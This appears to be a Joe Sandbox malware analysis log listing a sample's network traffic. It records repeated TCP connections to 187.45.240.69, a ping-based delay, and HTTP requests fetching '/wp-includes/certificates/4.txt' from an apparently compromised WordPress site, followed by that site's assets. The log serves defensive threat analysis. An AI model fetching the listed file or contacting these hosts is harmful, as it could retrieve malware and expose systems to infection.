Source: global traffic	TCP traffic: 192.168.2.5:49797 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49837 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.5:49838 -> 187.45.240.69:80

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1

Source: Joe Sandbox View

ASN Name: LocawebServicosdeInternetSABR LocawebServicosdeInternetSABR

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.com
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
